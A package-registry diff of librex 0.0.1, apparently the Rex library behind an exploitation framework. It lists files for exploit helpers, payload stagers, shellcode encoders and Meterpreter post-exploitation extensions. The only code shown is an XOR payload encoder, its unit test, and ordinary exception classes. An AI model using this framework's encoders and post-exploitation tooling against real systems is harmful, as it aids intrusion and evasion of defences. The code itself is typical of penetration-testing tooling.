librex 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +4 -0
- data/lib/rex.rb +101 -0
- data/lib/rex.rb.ts.rb +70 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +100 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +281 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +260 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +113 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +133 -0
- data/lib/rex/exploitation/egghunter.rb +143 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +84 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/stream.rb +313 -0
- data/lib/rex/io/stream_abstraction.rb +186 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +202 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +75 -0
- data/lib/rex/mime/message.rb +112 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +128 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +230 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/nmap_xml.rb +111 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +188 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1655 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +468 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +438 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +335 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +596 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +135 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +12 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +358 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +186 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +817 -0
- data/lib/rex/proto/http/client.rb.ut.rb +93 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +54 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +394 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +85 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +367 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1733 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1062 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +95 -0
- data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
- data/lib/rex/proto/smb/evasions.rb +65 -0
- data/lib/rex/proto/smb/exceptions.rb +846 -0
- data/lib/rex/proto/smb/simpleclient.rb +292 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +514 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +9 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +586 -0
- data/lib/rex/socket.rb.ut.rb +86 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +409 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +129 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +295 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +272 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +157 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1029 -0
- data/lib/rex/text.rb.ut.rb +168 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +252 -0
- data/lib/rex/ui/output.rb +80 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +55 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +65 -0
- data/lib/rex/ui/text/output/file.rb +37 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +321 -0
- data/lib/rex/ui/text/table.rb +254 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +91 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +95 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +435 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
require 'rex/encoding/xor/generic'
|
|
4
|
+
|
|
5
|
+
#
|
|
6
|
+
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
|
|
7
|
+
# version used to pad this buffer out to a 2-byte boundary, but I can't think
|
|
8
|
+
# of a good reason to do that anymore, so this doesn't.
|
|
9
|
+
#
|
|
10
|
+
|
|
11
|
+
module Rex
|
|
12
|
+
module Encoding
|
|
13
|
+
module Xor
|
|
14
|
+
|
|
15
|
+
class Word < Generic
|
|
16
|
+
|
|
17
|
+
def Word.keysize
|
|
18
|
+
2
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
end end end end # Word/Xor/Encoding/Rex
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..'))
|
|
4
|
+
|
|
5
|
+
require 'rex/encoding/xor/word'
|
|
6
|
+
require 'rex/encoding/xor/byte.rb.ut'
|
|
7
|
+
|
|
8
|
+
class Rex::Encoding::Xor::Word::UnitTest < Rex::Encoding::Xor::Byte::UnitTest
|
|
9
|
+
|
|
10
|
+
def enc
|
|
11
|
+
Rex::Encoding::Xor::Word
|
|
12
|
+
end
|
|
13
|
+
end
|
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
|
|
5
|
+
###
|
|
6
|
+
#
|
|
7
|
+
# Base mixin for all exceptions that can be thrown from inside Rex.
|
|
8
|
+
#
|
|
9
|
+
###
|
|
10
|
+
module Exception
|
|
11
|
+
end
|
|
12
|
+
|
|
13
|
+
###
|
|
14
|
+
#
|
|
15
|
+
# This exception is raised when a timeout occurs.
|
|
16
|
+
#
|
|
17
|
+
###
|
|
18
|
+
class TimeoutError < Interrupt
|
|
19
|
+
include Exception
|
|
20
|
+
|
|
21
|
+
def to_s
|
|
22
|
+
"Operation timed out."
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
###
|
|
27
|
+
#
|
|
28
|
+
# This exception is raised when a method is called or a feature is used that
|
|
29
|
+
# is not implemented.
|
|
30
|
+
#
|
|
31
|
+
###
|
|
32
|
+
class NotImplementedError < ::NotImplementedError
|
|
33
|
+
include Exception
|
|
34
|
+
|
|
35
|
+
def to_s
|
|
36
|
+
"The requested method is not implemented."
|
|
37
|
+
end
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
###
|
|
41
|
+
#
|
|
42
|
+
# This exception is raised when a generalized runtime error occurs.
|
|
43
|
+
#
|
|
44
|
+
###
|
|
45
|
+
class RuntimeError < ::RuntimeError
|
|
46
|
+
include Exception
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
###
|
|
50
|
+
#
|
|
51
|
+
# This exception is raised when an invalid argument is supplied to a method.
|
|
52
|
+
#
|
|
53
|
+
###
|
|
54
|
+
class ArgumentError < ::ArgumentError
|
|
55
|
+
include Exception
|
|
56
|
+
|
|
57
|
+
def initialize(message = nil)
|
|
58
|
+
@message = message
|
|
59
|
+
end
|
|
60
|
+
|
|
61
|
+
def to_s
|
|
62
|
+
str = 'An invalid argument was specified.'
|
|
63
|
+
if @message
|
|
64
|
+
str += " #{@message}"
|
|
65
|
+
end
|
|
66
|
+
str
|
|
67
|
+
end
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
###
|
|
71
|
+
#
|
|
72
|
+
# This exception is raised when an argument that was supplied to a method
|
|
73
|
+
# could not be parsed correctly.
|
|
74
|
+
#
|
|
75
|
+
###
|
|
76
|
+
class ArgumentParseError < ::ArgumentError
|
|
77
|
+
include Exception
|
|
78
|
+
|
|
79
|
+
def to_s
|
|
80
|
+
"The argument could not be parsed correctly."
|
|
81
|
+
end
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
###
|
|
85
|
+
#
|
|
86
|
+
# This exception is raised when an argument is ambiguous.
|
|
87
|
+
#
|
|
88
|
+
###
|
|
89
|
+
class AmbiguousArgumentError < ::RuntimeError
|
|
90
|
+
include Exception
|
|
91
|
+
|
|
92
|
+
def initialize(name = nil)
|
|
93
|
+
@name = name
|
|
94
|
+
end
|
|
95
|
+
|
|
96
|
+
def to_s
|
|
97
|
+
"The name #{@name} is ambiguous."
|
|
98
|
+
end
|
|
99
|
+
end
|
|
100
|
+
|
|
101
|
+
###
|
|
102
|
+
#
|
|
103
|
+
# This error is thrown when a stream is detected as being closed.
|
|
104
|
+
#
|
|
105
|
+
###
|
|
106
|
+
class StreamClosedError < ::IOError
|
|
107
|
+
include Exception
|
|
108
|
+
|
|
109
|
+
def initialize(stream)
|
|
110
|
+
@stream = stream
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
def stream
|
|
114
|
+
@stream
|
|
115
|
+
end
|
|
116
|
+
|
|
117
|
+
def to_s
|
|
118
|
+
"Stream #{@stream} is closed."
|
|
119
|
+
end
|
|
120
|
+
end
|
|
121
|
+
|
|
122
|
+
##
|
|
123
|
+
#
|
|
124
|
+
# Socket exceptions
|
|
125
|
+
#
|
|
126
|
+
##
|
|
127
|
+
|
|
128
|
+
###
|
|
129
|
+
#
|
|
130
|
+
# This exception is raised when a general socket error occurs.
|
|
131
|
+
#
|
|
132
|
+
###
|
|
133
|
+
module SocketError
|
|
134
|
+
include Exception
|
|
135
|
+
|
|
136
|
+
def to_s
|
|
137
|
+
"A socket error occurred."
|
|
138
|
+
end
|
|
139
|
+
end
|
|
140
|
+
|
|
141
|
+
###
|
|
142
|
+
#
|
|
143
|
+
# This exception is raised when there is some kind of error related to
|
|
144
|
+
# communication with a host.
|
|
145
|
+
#
|
|
146
|
+
###
|
|
147
|
+
module HostCommunicationError
|
|
148
|
+
def initialize(addr = nil, port = nil)
|
|
149
|
+
self.host = addr
|
|
150
|
+
self.port = port
|
|
151
|
+
end
|
|
152
|
+
|
|
153
|
+
#
|
|
154
|
+
# This method returns a printable address and optional port associated
|
|
155
|
+
# with the host that triggered the exception.
|
|
156
|
+
#
|
|
157
|
+
def addr_to_s
|
|
158
|
+
if host and port
|
|
159
|
+
"(#{host}:#{port})"
|
|
160
|
+
elsif host
|
|
161
|
+
"(#{host})"
|
|
162
|
+
else
|
|
163
|
+
""
|
|
164
|
+
end
|
|
165
|
+
end
|
|
166
|
+
|
|
167
|
+
attr_accessor :host, :port
|
|
168
|
+
end
|
|
169
|
+
|
|
170
|
+
|
|
171
|
+
###
|
|
172
|
+
#
|
|
173
|
+
# This exception is raised when a connection attempt fails because the remote
|
|
174
|
+
# side refused the connection.
|
|
175
|
+
#
|
|
176
|
+
###
|
|
177
|
+
|
|
178
|
+
class ConnectionError < ::IOError
|
|
179
|
+
include SocketError
|
|
180
|
+
include HostCommunicationError
|
|
181
|
+
end
|
|
182
|
+
|
|
183
|
+
###
|
|
184
|
+
#
|
|
185
|
+
# This exception is raised when a connection attempt fails because the remote
|
|
186
|
+
# side refused the connection.
|
|
187
|
+
#
|
|
188
|
+
###
|
|
189
|
+
class ConnectionRefused < ConnectionError
|
|
190
|
+
def to_s
|
|
191
|
+
"The connection was refused by the remote host #{addr_to_s}."
|
|
192
|
+
end
|
|
193
|
+
end
|
|
194
|
+
|
|
195
|
+
###
|
|
196
|
+
#
|
|
197
|
+
# This exception is raised when a connection attempt fails because the remote
|
|
198
|
+
# side is unreachable.
|
|
199
|
+
#
|
|
200
|
+
###
|
|
201
|
+
class HostUnreachable < ConnectionError
|
|
202
|
+
def to_s
|
|
203
|
+
"The host #{addr_to_s} was unreachable."
|
|
204
|
+
end
|
|
205
|
+
end
|
|
206
|
+
|
|
207
|
+
###
|
|
208
|
+
#
|
|
209
|
+
# This exception is raised when a connection attempt times out.
|
|
210
|
+
#
|
|
211
|
+
###
|
|
212
|
+
class ConnectionTimeout < ConnectionError
|
|
213
|
+
def to_s
|
|
214
|
+
"The connection timed out #{addr_to_s}."
|
|
215
|
+
end
|
|
216
|
+
end
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
###
|
|
220
|
+
#
|
|
221
|
+
# This exception is raised when an attempt to use an address or port that is
|
|
222
|
+
# already in use occurs, such as binding to a host on a given port that is
|
|
223
|
+
# already in use.
|
|
224
|
+
#
|
|
225
|
+
###
|
|
226
|
+
class AddressInUse < ::RuntimeError
|
|
227
|
+
include SocketError
|
|
228
|
+
